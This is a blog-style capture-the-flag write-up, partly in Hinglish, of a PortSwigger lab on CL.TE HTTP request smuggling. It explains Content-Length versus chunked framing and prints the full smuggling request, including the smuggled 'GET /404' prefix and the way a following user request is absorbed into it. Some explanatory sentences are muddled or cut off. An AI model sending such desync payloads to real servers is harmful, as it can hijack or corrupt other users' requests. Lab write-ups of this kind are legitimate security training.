Asad

ASAD

HTTP Request Smuggling- Portswigger:  HTTP request smuggling, confirming a CL.TE vulnerability via differential responses

Introduction

HTTP Request Smuggling is a class of web infrastructure vulnerability that arises when different components in the request path (clients, proxies, load balancers, application servers) parse HTTP requests differently. Those parsing differences can allow specially crafted requests to be interpreted in an unexpected way by one component and a different way by another — enabling attackers to smuggle hidden requests, bypass security controls, or desynchronize proxy-server communication. In this post we’ll explain the concept at a high level, show how to detect signs of parsing inconsistencies in a safe manner, and provide practical mitigation steps to harden your stack.

What is HTTP Request Smuggling? (paste)

HTTP Request Smuggling occurs when two or more intermediary components in the request path disagree about request boundaries or interpretation. Typical stacks include client → CDN → reverse proxy → load balancer → backend server. If components parse headers or message framing differently, an attacker can craft requests that are split or merged in one component but not in another. The result: invisible or unexpected requests may reach a backend, caching behavior can be poisoned, or security checks can be bypassed. The key point: the vulnerability is an interoperability/parsing mismatch, not a flaw in a single HTTP component alone.

CL vs TE (simple)

  • Content-Length (CL): header batata hai exactly kitne bytes body ke hain. Server itne bytes padhega aur fir request ko complete maane ga.
  • Transfer-Encoding: chunked (TE): body ko chunks me bhejta hai; har chunk ka apna size header hota hai, aur 0 chunk = end. Yeh framing streaming-friendly hai (jab total length pehle se pata na ho).

For more read please read it from here: https://portswigger.net/web-security/request-smuggling#what-is-http-request-smuggling

Challenges

This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding.

To solve the lab, smuggle a request to the back-end server, so that a subsequent request for / (the web root) triggers a 404 Not Found response.

Detection

First, downgrade the HTTP protocol version from 2.0 to 1.1.

Next, change the request method from GET to POST.

To identify whether the frontend and backend servers handle Content-Length or Transfer-Encoding headers differently, we send a crafted request containing both headers together.

Here’s the test request we used:

Content-Length: 6
Transfer-Encoding: chunked

3
abc

X

Here Front end pass the request but backend keeps waiting for the chunked,

Because in above request Front Using Content-Length it pass the character what we assigned that is 8, but backend server use Tranfer-Encoding it waiting for X chunk which we dropped it at front end, for passing X also we need to assign 14 character to the

In this run the front-end accepted and forwarded the request based on the Content-Length framing, so it passed the bytes we indicated and moved on. The backend, however, was parsing the stream as chunked(Transfer-Encoding) and therefore kept waiting for the chunked termination marker that it expected but never received.

Now let’s normalize our request to make it valid for both the front-end and back-end servers.

When we use Transfer-Encoding: chunked, the request body is sent in small pieces called chunks. Each chunk tells the server how many bytes of data are coming next.

Here’s how it works:

3
abc
0

Explanation:

  • The first line (3) defines the chunk size in hexadecimal, which means the next 3 characters (abc) are part of this chunk.
  • After sending the chunk, we must add a new line (\\r\\n) to mark the end of that chunk.
  • Finally, we send a chunk with size 0 — this tells the backend “no more data, body is finished.”
  • After 0, we again add a blank line (double CRLF) to properly close the chunked body.

So, if we forget to send 0 or that final blank line, the backend will keep waiting for more chunks — and that’s why your earlier request wasn’t closing properly.

Walkthrough

Now we will solve the lab

Now we’ll combine our normal request with a fake one to observe how the application handles it.

First, we make sure that the Transfer-Encoding (T.E) section is properly closed — meaning we end the chunked body with 0 followed by a double CRLF (this confirms the chunked body is finished).

Also make sure the Content-Length (C.L.) header contains the correct value for the body so the front end will forward the exact number of bytes we expect.

After that, we append a dummy request to the same connection just to check how the backend interprets it:

GET /404 HTTP/1.1
X-Ignore: X

Here:

  • GET /404 HTTP/1.1 is our harmless, fake request.
  • X-Ignore: X is a random header added to fill the request line.
  • Important: we do not put any extra CRLF after the X.

This way, the fake request sits right after the properly terminated chunked body, and we can clearly see how the front-end and backend each handle it differently during the lab test.

Now we send the normal request and look we get 404 not found error.

we can clearly see that we get 404 Not Found response which is not it’s actual response.

Let me make you understand what happen at backend, when we send first request.

we send this request.

POST / HTTP/1.1
Host: [0a99001704764bcf81d56b8a00ab00a7.web-security-academy.net](<http://0a99001704764bcf81d56b8a00ab00a7.web-security-academy.net/>)
Cookie: session=Uc4asRgry6LYCOtwLCp3vGUf5oNRrgCt
Content-Length: 31
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
X-Ignore: X

Here we pass the Transfer-encoding header and pass 0 which says the backend server that here is the request get over, so backend server send the response of the first request, and hold the second request which is this. In other word backend drop this request.

GET /404 HTTP/1.1
X-Ignore: X

we can see the image that we did not use any CRLF in X header, X is the dummy header, backend sever ignore this header so as soon that we send any new request it blend it with that request, e.g,

GET /404 HTTP/1.1
X: TEST GET / HTTP/2
Host: [0a99001704764bcf81d56b8a00ab00a7.web-security-academy.net](<http://0a99001704764bcf81d56b8a00ab00a7.web-security-academy.net/>)
Cookie: session=Uc4asRgry6LYCOtwLCp3vGUf5oNRrgCt
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="137", "Not/A)Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-GB,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: <https://0a99001704764bcf81d56b8a00ab00a7.web-security-academy.net/>
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

We can see that our fake request get blend with 2nd request which is real one requested by user and as we did not use CRLF in x header so 2nd request start from where our fake request end. Technically our GET request comes under the X header which server ignore this and give the result of /404 page

 

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top